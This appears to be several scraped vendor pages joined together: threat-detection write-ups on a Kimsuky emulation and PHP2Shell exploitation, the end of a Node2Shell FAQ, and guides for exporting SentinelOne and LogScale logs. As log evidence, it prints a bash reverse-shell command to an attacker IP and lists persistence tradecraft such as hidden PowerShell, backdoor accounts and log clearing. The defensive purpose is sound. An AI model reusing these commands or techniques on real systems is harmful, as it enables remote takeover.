The crash itself is a denial of service, and the follow-on activity shows code execution in the context of the vulnerable process. In this sample, that meant a cryptominer setup script download, a payload fetch, an out-of-band DNS callback, a read of /etc/passwd, and download-and-execute on a Windows host.
Can Node2Shell still affect me in 2026?
Yes. CVE-2026-111497 is exploited in the wild and listed in CISA’s KEV catalog. Unpatched Node.js, Bun, Python, .NET, and proxy deployments remain exposed, and Node.js 20 and other end-of-life lines will never get a fix.
How can I protect myself from Node2Shell?
Patch Node.js and every other Brotli consumer, restart processes, and rebuild images. Until then, reject Content-Encoding: br at the WAF or proxy and disable automatic Brotli decompression where feasible. The mitigation section lists the full steps.
How can I detect Node2Shell?
Collect kernel and systemd-coredump logs plus EDR process events from every Node.js and Python host. Alert on Brotli decoder crashes and on runtimes spawning shells or downloaders. LogTotal maps these events to the Node2Shell chain, but review findings outside the chain too, since they surfaced two extra hosts here.
Kimsuky detection depends on recognizing the group’s tradecraft in your own telemetry, not just on matching a hash. Kimsuky is a North Korean APT group, and one of its published campaigns impersonates diplomats to deliver LNK files and PowerShell droppers. Those techniques leave traces in ordinary Windows Security logs: script hosts launched from user-writable folders, hidden PowerShell, new services and scheduled tasks, and quiet account changes.
This article covers Kimsuky detection using a log sample analyzed in LogTotal, a log analysis tool that matches events to known threats. Below, we describe where the logs came from, what LogTotal flagged, which findings hold up against the raw events, and what the response should be.
The tradecraft in this sample reads more clearly against the group’s background and its recent campaigns, so we start there before turning to the logs.
Who is Kimsuky
Kimsuky is a North Korean state-sponsored APT group focused on intelligence collection. MITRE ATT&CK tracks it as G0094, and vendors also call it APT43, Velvet Chollima, Black Banshee, THALLIUM, Emerald Sleet, TA427, and Springtail. Its activity is believed to align with North Korea’s Reconnaissance General Bureau.
CISA assesses that the group has most likely operated since 2012. The first detailed public report was Kaspersky’s “The Kimsuky Operation” in 2013, and the name comes from an internal code reference Kaspersky researchers found.
Most Kimsuky operations hit South Korea, with others reaching the United States, Japan, Europe, and Russia. Beyond government and policy targets, victims include academics and the cryptocurrency sector. Spear-phishing is its most observed entry point.
Kimsuky activity in 2026
Period (2026)
Campaign
Tradecraft
October
Operation GitPower expansion (Genians)
Fake Zoom installers and PDF-themed LNK files against Ukrainian diplomacy and security experts; hidden PowerShell; scheduled-task persistence
Ongoing
Operation GitPower
ZIP archives with LNK files posing as documents, including embassy correspondence; obfuscated PowerShell; GitHub for staging and C2
March–April
HTTPSpy variant (ENKI)
Spoofed security-software installer pages and a fake Cisco Webex page against South Korean military and corporate targets
2025 to early 2026
Groupware vendor compromise (ENKI WhiteHat)
Breached South Korean collaboration software vendors, then their customers
The sample analyzed here dates from 21 September 2026, inside this period. Its dot-padded, PDF-themed LNK, hidden PowerShell, and logon-triggered scheduled task match these campaigns closely.
The log sample
The sample is a single file, Kimsuky.jsonl, with 3,087 events from one domain controller. It shows Kimsuky-style tradecraft executed against a DC in a controlled emulation, which makes it a useful reference for what this activity looks like in native Windows audit telemetry.
Log source and collection
Attribute
Value
File
Kimsuky.jsonl
Events
3,087
Host
srv-ad-001.7logs.xyz, a domain controller in the 7logs domain
Time window
21 September 2026, 15:02:41 to 15:05:58 UTC (just over three minutes)
Format
Native EVTX structure in JSON (Event → System / EventData, XML attributes under #attributes)
The JSON layout points to an EVTX-to-JSON conversion rather than a SIEM-normalized export.
What the events contain
Most events are object and handle auditing (4658, 4656, 4663, 4690), token right adjustments (4703), and file share access (5145). These are high-volume and mostly background noise.
The detection-relevant events are far fewer:
49 process creations (4688) with full command lines
Attack context: an emulation, not a live intrusion
The activity is clearly an emulation of Kimsuky tradecraft. Every attacker command has powershell_ise.exe as its parent process. Objects carry test names such as OrbitalTestSvc, adminuserz, and the password !BackdoorPass1. At the end, the operator removes the service, task, user, and group.
The techniques themselves mirror a published Kimsuky campaign in which the group impersonates diplomats and delivers LNK files and PowerShell droppers. That is why the telemetry is valuable: the behaviors are real even though the operator is not.
Detect Kimsuky
LogTotal processed all 3,087 lines in 16.4 seconds and matched 73 rules against 105 lines. It grouped those matches into 9 attack chains on one host, reported 8, and filtered out 1 at the AI verification step.
Verdict field
Result
Verdict
Suspicious, needs investigation
Severity
Critical
Confidence
Medium
How LogTotal’s rules map to raw Kimsuky evidence
Fired rule
Raw evidence
Suspicious Execution from Public User Profile; Script Interpreter Execution From Suspicious Folder
LNK posing as a PDF with a dot-padded name (vvn.31.Pdf……Lnk); wscript.exe running DefenderUpdate.Js from C:\Users\Public\Downloads
The Possibility of Execution Through Hidden PowerShell Command Lines
The artifacts below come from an emulation, so the names themselves will not recur in the wild. The patterns behind them are what to hunt for.
Artifact
Type
Pattern to hunt
vvn.31.Pdf……Lnk
LNK lure
Shortcut files posing as documents with dot-padded names
C:\Users\Public\Downloads\DefenderUpdate.Js
JScript run by wscript.exe
Script hosts launched from user-writable folders
capture.Ps1
PowerShell script
-ExecutionPolicy Bypass -WindowStyle Hidden
%TEMP%\D.21_SEOUL.hta
HTA run by mshta.exe
MSHTA executing files from %TEMP%
Public\Downloads\system32\smss.Exe
Masquerading binary
System process names outside System32
OrbitalTestSvc
Service (4697)
Services that launch hidden PowerShell via COMSPEC
\OrbitalHealthCheck → svc_update.ps1
Scheduled task (4698)
Logon-triggered tasks running hidden scripts
adminuserz, admingroupz, !BackdoorPass1
Account, group, password
New admin-like local accounts and groups created via net.exe
Winlogon\SpecialAccounts\UserList
Registry value
Accounts hidden from the logon screen
Event 1102
Log clearing
Security log cleared before activity
Kimsuky Mitigation
Contain the domain controller first, then rebuild trust in its accounts and logging. LogTotal’s response plan covers the essentials; because the target is a DC, the scope needs to widen to the domain.
LogTotal’s recommended response
Isolate the host.
Image memory and disk.
Verify and remove the OrbitalHealthCheck scheduled task.
Check and restore the audit policy.
Enable PowerShell Script Block Logging and AMSI telemetry.
Apply allowlisting for WScript, CScript, and PowerShell.
Additional steps for a domain controller
Start the timeline at the 1102 event. The Security log was cleared at 15:02:41 UTC, so anything before it must come from other sources.
Collect and hash everything in C:\Users\Public\Downloads\ and %TEMP%, including the LNK, JScript, PowerShell, HTA, and fake smss.Exe.
Confirm cleanup. Verify that OrbitalTestSvc, adminuserz, and admingroupz are gone, and revert the Winlogon\SpecialAccounts\UserList value that hides Administrator.
Reset credentials. Reset the Administrator password and plan a double krbtgt reset.
Hunt domain-wide for dot-padded LNK file names and for script hosts (wscript.exe, cscript.exe, mshta.exe, powershell.exe) launched from user-writable folders.
Hardening against Kimsuky-style tradecraft
The same controls that catch this sample reduce exposure across the domain. Keep 4688 process creation with command lines enabled, since the 49 process events carried most of the evidence. Alert on 4697 service installs and 4698 task creations that launch hidden PowerShell. Treat any 1102 event on a DC as an incident trigger.
FAQ
What is Kimsuky and how does it operate?
Kimsuky is a North Korean state-sponsored espionage group, tracked by MITRE ATT&CK as G0094 and also known as APT43, Velvet Chollima, and Emerald Sleet. It typically gets in through tailored spear-phishing, then uses LNK files, scripts, and PowerShell to install backdoors and persistence for long-term intelligence collection. The analysis section above has the full profile.
When was Kimsuky first discovered?
CISA assesses that Kimsuky has most likely operated since 2012. The first detailed public report was Kaspersky’s “The Kimsuky Operation” in 2013, and the group’s name comes from an internal code reference Kaspersky researchers found.
What is the impact of a Kimsuky intrusion?
Kimsuky seeks long-term access for intelligence collection, including credential theft, and some of its operations also target the cryptocurrency sector. It has used compromised software vendors to reach their customers, as in its 2025 to early 2026 groupware campaign. On a domain controller, as in this sample, an attacker can create and hide administrator accounts and persist across the whole domain.
Can Kimsuky still affect me in 2026?
Yes. Kimsuky ran several campaigns in 2026, including Operation GitPower and an HTTPSpy wave against South Korean military targets. They use the same LNK lures, hidden PowerShell, and scheduled-task persistence seen in this sample. The analysis section lists the 2026 campaigns.
How can I protect myself from Kimsuky?
Allowlist or restrict WScript, CScript, and PowerShell, enable Script Block Logging and AMSI telemetry, and alert on script hosts running from user-writable folders. Monitor for new services and scheduled tasks that launch hidden PowerShell, and treat audit log clearing on a DC as an incident.
How can I detect Kimsuky?
Collect Windows Security events with process command lines (4688), service installs (4697), scheduled task events (4698, 4702, 4699), account and group changes (4720–4738), AD changes (5136), and log clearing (1102). Run the export through LogTotal to match it against known Kimsuky campaigns, then confirm each finding against the raw events.
PHP2Shell detection matters because the window between a patch and real-world exploitation can be a single day. PHP2Shell is the name for two unauthenticated remote code execution flaws in PHP core, CVE-2026-109618 and CVE-2026-109619, both rated CVSS v4.0 9.2. No authentication is needed, so any exposed PHP application on an unpatched release is a target. In the sample below, exploitation surfaces as a PHP worker crash followed by commands running as the web server user.
This article covers PHP2Shell detection using a log sample analyzed in LogTotal, a log analysis tool that matches events to known threats. Below, we explain the vulnerability context, where the logs came from, what LogTotal found, and how to respond.
PHP2Shell Analysis
Both PHP2Shell flaws score 9.2 under CVSS v4.0, and both can be reached without authentication on any PHP installation that serves web requests. To read the log sample correctly, it helps to know how each bug works, how fast the disclosure unfolded, and which installations are exposed.
The two CVEs are separate memory-safety bugs in how PHP handles a request. Either one lets an attacker run code as the web server user.
CVE-2026-109618, out-of-memory corruption. When PHP runs out of memory partway through setting up a request, internal data is left half built, and the cleanup code then trusts it.
CVE-2026-109619, stale global state. Internal state outlives the request memory it points to, so the next request the same worker picks up can act on leftover data.
This is why exploitation shows up as PHP “Allowed memory size … exhausted” errors and PHP worker crashes. Public PHP2Shell scanners look for the same signals.
Disclosure and exploitation timeline
Date (2026)
Event
26 October
CISA added CVE-2026-109618 to its KEV catalog
22 October
Exploitation in this sample logged on web-prod-01
21 October
PHP published fixed releases; watchTowr observed exploitation in the wild
20 October
Details leaked on social media ahead of the planned 22 October disclosure; PHP announced an emergency release
Researchers at Calif found the flaws and reported them to PHP. The leak is why LogTotal’s chain is titled “Leaked Critical PHP Vulnerabilities.” Public PoC code and exploit frameworks appeared on GitHub within days, and one research toolkit reports verified command execution as www-data on builds from PHP 7.4 through 8.4 below the fixed releases.
Which systems PHP2Shell affects
PHP lists every release before 8.5.12, 8.4.27, 8.3.36, and 8.2.35 as vulnerable, and older branches are affected too.
PHP branch
Affected
Fix
8.5.x
Below 8.5.12
8.5.12
8.4.x
Below 8.4.27
8.4.27
8.3.x
Below 8.3.36
8.3.36
8.2.x
Below 8.2.35
8.2.35
7.4, 8.0, 8.1
All versions
No official release; use a distribution or LTS vendor package, PHP’s minimal source backports, or upgrade
7.3 and older, including PHP 5
All versions
No fix; upgrade to a supported branch
Every PHP installation that serves web requests is in scope, whether it runs under PHP-FPM, Apache mod_php, php-cgi, LiteSpeed, or FrankenPHP. PHP rates the risk highest for Apache mod_php, where an attack can succeed before any application code runs.
Log source and collection
Attribute
Value
File
PHP2Shell_sample.jsonl
Events
6
Host
web-prod-01 (Linux production web server)
Time window
22 October 2026, 11:31:30 to 11:31:33 UTC (three seconds)
2 plain-text lines from the PHP runtime and the PHP-FPM error log
4 events (file and process), normalized to ECS
The mix is typical of what reaches a SIEM in practice: application error logs alongside EDR telemetry.
Detect PHP2Shell
LogTotal processed 6 lines in 4.2 seconds, matched 9 rules against 4 lines, and formed one chain on web-prod-01: PHP2Shell, Leaked Critical PHP Vulnerabilities (CVE-2026-109618 & CVE-2026-109619), Critical, 100% match, 3 rules fired.
Verdict field
Result
Verdict
Suspicious, needs investigation
Severity
Critical
Confidence
Medium
How the PHP2Shell chain unfolds
The chain follows the exploitation in three steps, all within three seconds.
Crash. The rule “Possible CVE-2026-109618 / CVE-2026-109619 Exploitation Attempt – PHP Memory Exhaustion / PHP Worker Crash” matched a PHP fatal “Allowed memory size … exhausted” error and PHP-FPM child 1201 dying on SIGSEGV. These are the same crash signals public PHP2Shell scanners look for.
Shell from the web worker. “Possible PHP Worker Spawning Unusual Process” and “Suspicious Shell via Web Server [Linux]” caught php-fpm, running as www-data, spawning sh -c bash /dev/shm/.s. The script was staged in RAM-backed /dev/shm.
Reverse shell. “Possible Data Exfiltration / Reverse Shell via Bash” matched bash -i >& /dev/tcp/198.51.100.23/4444 0>&1. Outside the chain, four more rules hit the same command, led by Linux Reverse Shell Indicator (Critical).
Using LogTotal findings in PHP2Shell triage
The chain gives the order of events and the severity in one screen. The raw events give the IOCs to block and the persistence to remove. Use both: confirm the chain’s three steps, then review the file events and command lines for IOCs and persistence.
PHP2Shell Mitigation
The definitive fix for PHP2Shell is a fixed PHP release, and PHP states that no configuration change fully mitigates these flaws. On a server that has already been exploited, patching is not enough: the webshell and .user.ini persist across a PHP upgrade.
Patch every PHP installation
Inventory every server and application that runs PHP, starting with internet-facing systems and any that run PHP as an Apache module.
Update each installation to 8.5.12, 8.4.27, 8.3.36, or 8.2.35, matching its branch. Linux distributions received the patches ahead of release, so check for updated distribution packages.
Restart every PHP worker so the fix takes effect.
For PHP 7.4, 8.0, and 8.1, use a distribution or LTS vendor package or PHP’s minimal source backports, or upgrade. PHP 7.3 and older have no fix.
Restrict internet access to any PHP system you cannot update immediately.
Community trackers also report CVE-2026-115560, a separate, configuration-dependent session upload-progress vector covered by a PHP informational advisory on 23 October 2026. It is not part of PHP2Shell and was left for a later release; the interim recommendation is session.upload_progress.enabled = 0.
LogTotal’s recommended response
Isolate web-prod-01.
Preserve its web, system, and network logs.
Investigate the reverse-shell destination.
Verify the PHP version and patch.
Alert on future PHP worker crashes and shell spawns.
Additional steps from the raw evidence
Block egress to 198.51.100.23:4444.
Preserve evidence before cleanup: copy uploads/.cache.php, .user.ini, and /dev/shm/.s. Files in /dev/shm are lost on reboot.
Remove persistence. Delete the auto_prepend_file directive, or better, rebuild the host on a fixed PHP release.
Rotate every secret www-data can read, such as database credentials and API keys in application config.
Hunt the web fleet for:
.user.ini files containing auto_prepend_file
hidden PHP files in upload folders
shells spawned by php-fpm, php-cgi, apache2, or httpd
Ongoing PHP2Shell monitoring
Keep PHP and PHP-FPM error logs flowing to your SIEM alongside EDR telemetry. In this sample, the crash lines were the first signal and the EDR file events held the persistence. Either source alone would have told only half the story.
FAQ
What is PHP2Shell and how does it work?
PHP2Shell is two unauthenticated remote code execution flaws in PHP core: CVE-2026-109618 (out-of-memory corruption) and CVE-2026-109619 (stale global state), both rated CVSS v4.0 9.2. Either lets an attacker run code as the web server user. The analysis section above explains how each one works.
When was PHP2Shell first discovered?
Researchers at Calif reported the flaws to PHP. Details leaked on 20 October 2026, and PHP shipped fixes on 21 October, a day ahead of the planned disclosure.
Which PHP versions does PHP2Shell affect?
Every release before 8.5.12, 8.4.27, 8.3.36, and 8.2.35, plus all of PHP 7.4, 8.0, 8.1, and older branches including PHP 5. Any PHP installation that serves web requests is in scope, with Apache mod_php at the highest risk.
What is the impact of PHP2Shell on systems?
An unauthenticated attacker can run code as the web server user. In this sample, that led to a reverse shell to 198.51.100.23:4444 and a hidden webshell loaded on every PHP request through .user.ini. Any secret readable by www-data should be treated as exposed.
Can PHP2Shell still affect me in 2026?
Yes. PHP2Shell is exploited in the wild and listed in CISA’s KEV catalog. Unpatched servers, end-of-life branches without a backport, and compromised servers whose webshell persistence was never removed all remain at risk.
How can I protect myself from PHP2Shell?
Upgrade to a fixed PHP release and restart every PHP worker; no configuration change fully mitigates PHP2Shell. Then restrict web server egress, rotate secrets readable by the web user, and audit upload folders and .user.ini files for persistence. The mitigation section lists the full steps.
How can I detect PHP2Shell?
Collect PHP and PHP-FPM error logs together with EDR process and file events. Alert on PHP memory exhaustion and worker crashes, shells spawned by php-fpm, php-cgi, apache2, or httpd, and new .user.ini files with auto_prepend_file. Running an export through LogTotal maps these events to the PHP2Shell chain and shows the attack order in one view.
Send a PowerQuery to the Singularity Data Lake API at /api/powerQuery on your regional Data Lake URL, for example https://xdr.us1.sentinelone.net. The response comes back as a table (columns plus rows), and one jq line turns it into one JSON object per event. Alternatively, export events directly from the Singularity console through Event Search. CSV is a commonly available export format, while JSON or plain-text downloads may be available depending on the interface.
Singularity Data Lake holds SentinelOne’s endpoint telemetry alongside any third-party logs you send it, so it’s often the widest view a SentinelOne customer has. Prime Core has 14,699detection rules for SentinelOne, mapped to 644 MITRE ATT&CK techniques. Below is how to get data out, sanitize it, and investigate it for free in LogTotal.
A service user with the right permissions. Create a service user for API access and give its role the Data Lake query permissions (SDL Query API and SDL Search). Create it at the account or site level that actually holds the data. A key made at the wrong scope authenticates fine and returns nothing.
Your regional URL. The US is typically https://xdr.us1.sentinelone.net; other regions use their own hostnames. The console’s help section lists yours.
Know the fields. Endpoint telemetry uses names such as endpoint.name, event.type, src.process.cmdline and tgt.process.cmdline. Third-party logs keep their original text in a message field. Try the query in Event Search first.
PowerQuery results are capped, so split long windows into several requests.
The columns stage decides what you get. Leave out fields you don’t need, but keep the command lines and process names: that’s where most detections look.
Export logs through the Singularity Data Lake UI
For quick investigations or smaller log samples, you can export events directly from the SentinelOne Singularity console without using the API.
Open Event Search. Sign in to the SentinelOne Singularity console and navigate to Event Search. Select the account or site containing your logs.
Set the time range. Choose the period you want to investigate and ensure the correct data sources are included.
Run a query. Enable PowerQuery and enter a search filter, for example endpoint.name = “WS-042”. Run the search.
Review results. Check the matching events and select the fields you need, such as timestamp, endpoint.name, event.type, src.process.cmdline and tgt.process.cmdline. Avoid aggregation functions if you need individual log events.
Export the results. Use the Export or Download option in the results area. Depending on the console version and search mode, you may be able to choose between CSV, JSON and plain text.
Save the file. Download the results to your computer. Prefer JSON when available, especially for structured endpoint telemetry. For third-party logs, preserve the message field containing the original log text.
Limitations. Export formats and result limits vary by console version and search mode. Large searches can also exceed the UI export limit; narrow the time range or use the Data Lake API for larger datasets.
Upload, sanitize and review in LogTotal
Upload. Open logtotal.com and drop in the .jsonl file.
Sanitize.
Review.
When it goes wrong
Symptom
Likely cause
Fix
401
Token invalid, or the user lacks Data Lake query permissions
Check the role’s SDL permissions
Valid token, empty results
Service user created at the wrong scope
Create it at the account or site that holds the data
Connection or 404 errors
Wrong regional URL
Use the URL from your console’s help section
Results stop at a round number
Row limit
Split the time window
Fields come back empty
Field names differ for that data source
Check the names in Event Search
FAQ
What happened to Deep Visibility?
Deep Visibility was SentinelOne’s earlier telemetry search. Current consoles use Singularity Data Lake and PowerQuery for the same job, and that’s the route this guide covers.
Can I export third-party logs stored in the Data Lake?
Yes, the same way. Filter on the data source and keep the field that holds the original message.
Send your query to the LogScale query API, POST /api/v1/repositories/<repo>/query, and ask for application/x-ndjson: you get one event per line. The original log line sits in @rawstring, so one jq call turns the export back into raw logs. Alternatively, export logs directly from the LogScale UI as plain text, JSON or CSV.
LogScale (formerly Humio) is built for high-volume log search, so it often holds the most complete record a team has. Prime Core has 23,747 detection rules for Falcon LogScale, mapped to 674 MITRE ATT&CK techniques. Below is how to get data out, sanitize it, and investigate it for free in LogTotal.
This guide covers standalone LogScale, cloud or self-hosted. If you use LogScale inside the Falcon console as part of Next-Gen SIEM, the console and its APIs are different.
A token. Create an API token with permission to query the repository. Treat it like a password.
Base URL and repository. Cloud customers use their region’s URL, such as https://cloud.us.humio.com. Self-hosted clusters use their own hostname. You also need the repository or view name.
Retention. Each repository has its own retention. Check it before you promise anyone a week of history.
The start and end values are epoch milliseconds; relative values like “24h” work too. The date -d syntax is GNU, so on macOS compute the timestamps another way.
Keep the query a filter. Anything that aggregates (groupBy, count, timechart) returns the aggregate, not events. For very long or heavy searches, use the query jobs API, which runs the search asynchronously and lets you poll for results.
Export logs through the Falcon LogScale Search UI
For quick investigations or smaller log samples, you can export events directly from the Falcon LogScale web interface without using the API.
Open Search. Sign in to Falcon LogScale, select the repository or view containing your logs, and open the Search page.
Run a query. Enter a search filter, for example host=web-03. Set the time range and run the search.
Review results. Check that the returned events match what you need. Avoid aggregation functions such as groupBy(), count() or timeChart() if you want individual log events.
Export the logs. From the search results, click Save > Export data to file.
Choose the file format.
Plain text (.txt): Exports the @rawstring field, preserving the original log lines. Best for LogTotal when the source contains syslog-style text.
JSON (.json): Exports complete event objects, including parsed fields and metadata. Best when you need structured events.
CSV (.csv): Exports selected fields into a table. Useful for reporting, but less suitable for LogTotal. Select ‘Select all’ in ‘Fields to export’.
Download. Enter a filename and click Export to save the file locally.
Limitations. Plain-text export requires the original log content to be available in @rawstring. If that field is missing, export the complete events as JSON instead. For large datasets, narrow the time range or use the query API. Non-aggregated search exports may contain events in a different order from the UI results.
Token missing, expired, or without query permission on the repository
Create a token with query rights
No results
Wrong repository name, or seconds instead of milliseconds
Check the name; use +%s000
Aggregated rows instead of events
The query aggregates
Use a plain filter
@rawstring is missing
A parser replaced it, or the data was ingested as structured JSON
Export the whole event instead
The request times out
Too much data for a synchronous query
Narrow the window, or use query jobs
FAQ
Is LogScale the same as Falcon Next-Gen SIEM?
Next-Gen SIEM is built on LogScale technology, but it lives inside the Falcon platform with its own console and APIs. This guide is for standalone LogScale.
NDJSON or raw?
Raw (@rawstring) when the source was syslog-style text. NDJSON when the events were JSON to begin with, or when you need LogScale’s parsed fields.
Entrar
